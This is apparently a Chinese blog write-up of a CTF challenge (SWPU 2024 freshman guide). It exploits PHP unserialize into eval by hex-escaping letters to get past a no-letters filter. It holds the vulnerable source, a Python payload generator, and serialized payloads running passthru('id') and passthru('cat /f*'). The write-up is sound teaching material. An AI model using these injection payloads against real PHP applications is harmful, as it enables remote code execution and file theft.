从SWPU 2024 新生引导 maxser思考NSS2024招新maxser reverge
最近上班比较忙,抽时间做做题。
SWPU 2024 新生引导前面的几道反序列化及其他没难度,自己思考就出来了,主要看看这道题。
源码
<?php
//相信看了之前我给的h1nt,你应该大概知道这题该怎么做了,说真的,这道题很难,即使在给了提示的情况下,也不容易做出来,如果你能把它给拿下,说明你真是一个聪明的小hacker,已经具备自主学习的能力。
//当然,没做出来也没关系,这是一个严重超过你目前水平的题目,做不出来才是正常的,出这道题主要是看看你的极限在哪里,如果最后历经千辛万苦终于做出来了,你一定会高兴得飞起来吧。
//最后,除了我给提示的那一种解法,目前还有另外两种解法。至于是什么,就等聪明的你来慢慢探索吧,当然,如果你能想出更多, 大神,带带我吧,我是个笨damn。
//来点燃歌吧,Call of Silence(Clear Sky Remix) Avid Ferrari Turnin' Light It Up
highlight_file(__FILE__);
error_reporting(0);
include('check.php');//这里面是一个检测passthru->S属性的正则,大概意思就是这个属性不能含有字母,只能是数字或者符号之类的,那我们该如何拿到fLag呢?
class passthru{
public $S;
public $dir;
public function __destruct(){
eval($this->S);
}
}
$a=$_GET['NSS'];
check($a);
unserialize($a);
可以看到大小写的j到o的16进制时存在字母的,急转弯吧,可以发现passthru中每个字母的16进制不存在字母,写脚本来生成payload:
脚本
import string
a = "passthru('id')"
end=''
b = string.ascii_lowercase+string.ascii_uppercase
for i in a:
if i in b:
end+="\\"+hex(ord(i))[2:]
else:
end+=i
print(end)
“O:8:"passthru":2:{s:1:"S";s:15:"\70\61\73\73\74\68\72\75('\69\64');";s:3:"dir";N;}
O:8:"passthru":2:{s:1:"S";s:15:"passthru('id');";s:3:"dir";N;}
”
payload执行试试看。
可以发现执行成功了,接下来直接读取flag,注意生成后的编码不能有字母。
最终payload: passthru('cat /f*');
这题看评论有非预期,我只做出了预期解,非预期为引用绕过,但是我试了就没成功。接下来招新的maxser reverge就不用多说了吧。祝大家竞赛开心啦。如果这算泄露wp的话评论我及时删除。